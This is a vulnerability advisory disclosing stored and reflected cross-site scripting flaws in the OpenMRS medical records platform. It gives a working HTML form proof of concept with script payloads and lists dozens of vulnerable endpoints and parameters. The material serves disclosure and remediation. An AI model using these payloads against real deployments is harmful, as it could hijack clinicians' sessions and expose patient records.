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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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OpenMRS 2.3 (1.11.4) Multiple Cross-Site Scripting Vulnerabilities


Vendor: OpenMRS Inc.
Product web page: http://www.openmrs.org
Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
                  OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

Summary: OpenMRS is an application which enables design
of a customized medical records system with no programming
knowledge (although medical and systems analysis knowledge
is required). It is a common framework upon which medical
informatics efforts in developing countries can be built.

Desc: OpenMRS suffers from multiple stored and reflected
cross-site scripting vulnerabilities when input passed via
several parameters to several scripts is not properly sanitized
before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser
session in context of an affected site.


Tested on: Ubuntu 12.04.5 LTS
           Apache Tomcat/7.0.26
           Apache Tomcat/6.0.36
           Apache Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5287
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5287.php

Vendor: https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868


02.11.2015

--


PoC:

<html>
  <body>
    <form action="http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form" method="POST">
      <input type="hidden" name="parentUUID" value="71dde2c8&#45;60be&#45;4171&#45;9d3d&#45;71293cdc4142" />
      <input type="hidden" name="name" value=""><script>alert&#40;1&#41;<&#47;script>" />
      <input type="hidden" name="description" value=""><script>alert&#40;2&#41;<&#47;script>" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>


Other vulnerable scripts/parameters (GET/POST, Stored/Reflected)
Payload: <script>alert(1)</script>

http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [addName parameter]
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [personType parameter]
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [viewType parameter]
http://127.0.0.1:8080/openmrs/admin/users/users.list [Referer HTTP header]
http://127.0.0.1:8080/openmrs/admin/users/user.form [userId parameter]
http://127.0.0.1:8080/openmrs/options.form [defaultLocation parameter]
http://127.0.0.1:8080/openmrs/options.form [lang parameter]
http://127.0.0.1:8080/openmrs/options.form [newPassword parameter]
http://127.0.0.1:8080/openmrs/options.form [oldPassword parameter]
http://127.0.0.1:8080/openmrs/options.form [personName.familyName parameter]
http://127.0.0.1:8080/openmrs/options.form [personName.givenName parameter]
http://127.0.0.1:8080/openmrs/options.form [secretAnswerNew parameter]
http://127.0.0.1:8080/openmrs/options.form [secretQuestionPassword parameter]
http://127.0.0.1:8080/openmrs/options.form [username parameter]
http://127.0.0.1:8080/openmrs/adminui/systemadmin/accounts/account.page [addUserAccount parameter]
http://127.0.0.1:8080/openmrs/adminui/systemadmin/accounts/account.page [familyName parameter]
http://127.0.0.1:8080/openmrs/adminui/systemadmin/accounts/account.page [gender parameter]
http://127.0.0.1:8080/openmrs/adminui/systemadmin/accounts/account.page [givenName parameter]
http://127.0.0.1:8080/openmrs/adminui/systemadmin/accounts/account.page [username parameter]
http://127.0.0.1:8080/openmrs/htmlformentryui/htmlform/enterHtmlFormWithStandardUi.page [definitionUiResource parameter]
http://127.0.0.1:8080/openmrs/htmlformentryui/htmlform/enterHtmlFormWithStandardUi.page [returnUrl parameter]
http://127.0.0.1:8080/openmrs/login.htm [sessionLocation parameter]
http://127.0.0.1:8080/openmrs/referenceapplication/userApp.page [action parameter]
http://127.0.0.1:8080/openmrs/uicommons/messages/get.action [codes parameter]
http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form [description parameter]
http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form [name parameter]
http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form [parameterName parameter]
http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form [parentUUID parameter]
http://127.0.0.1:8080/openmrs/admin/reports/cohortReport.form [reportId parameter]
http://127.0.0.1:8080/openmrs/admin/reports/reportMacros.form [macros parameter]
http://127.0.0.1:8080/openmrs/admin/reports/reportSchemaXml.form [reportSchemaId parameter]
http://127.0.0.1:8080/openmrs/admin/reports/reportSchemaXml.form [xml parameter]
http://127.0.0.1:8080/openmrs/admin/reports/runReport.form [schedule parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [namesByLocale%5Ben%5D.name parameter]
http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm [id parameter]
http://127.0.0.1:8080/openmrs/module/reporting/widget/getMappedAsString.form [cancelCallback parameter]
http://127.0.0.1:8080/openmrs/module/reporting/widget/getMappedAsString.form [label parameter]
http://127.0.0.1:8080/openmrs/module/reporting/widget/getMappedAsString.form [saveCallback parameter]
http://127.0.0.1:8080/openmrs/module/reporting/widget/getMappedAsString.form [valueType parameter]
http://127.0.0.1:8080/openmrs/module/metadatasharing/export/edit.form [type parameter]
http://127.0.0.1:8080/openmrs/admin/orders/orderDrug.form [concept parameter]
http://127.0.0.1:8080/openmrs/admin/orders/orderDrug.form [instructions parameter]
http://127.0.0.1:8080/openmrs/admin/orders/orderDrug.form [orderType parameter]
http://127.0.0.1:8080/openmrs/admin/orders/orderDrug.form [patient parameter]
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [addAge parameter]
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [personType parameter]
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm [viewType parameter]
http://127.0.0.1:8080/openmrs/admin/scheduler/scheduler.form [description parameter]
http://127.0.0.1:8080/openmrs/admin/scheduler/scheduler.form [name parameter]
http://127.0.0.1:8080/openmrs/admin/scheduler/scheduler.form [taskClass parameter]
http://127.0.0.1:8080/openmrs/admin/scheduler/scheduler.list [taskId parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [namesByLocale%5Ben%5D.name parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [namesByLocale%5Ben_GB%5D.name parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [namesByLocale%5Bfr%5D.name parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [namesByLocale%5Bht%5D.name parameter]
http://127.0.0.1:8080/openmrs/dictionary/concept.form [synonymsByLocale%5Ben%5D%5B0%5D.name parameter]
http://127.0.0.1:8080/openmrs/module/logic/editRuleDefinition.form [description parameter]
http://127.0.0.1:8080/openmrs/module/logic/editRuleDefinition.form [name parameter]
http://127.0.0.1:8080/openmrs/module/logic/editRuleDefinition.form [ruleContent parameter]
http://127.0.0.1:8080/openmrs/module/logic/logic.form [patientId parameter]
http://127.0.0.1:8080/openmrs/patientDashboard.form [patientGraphConcept parameter]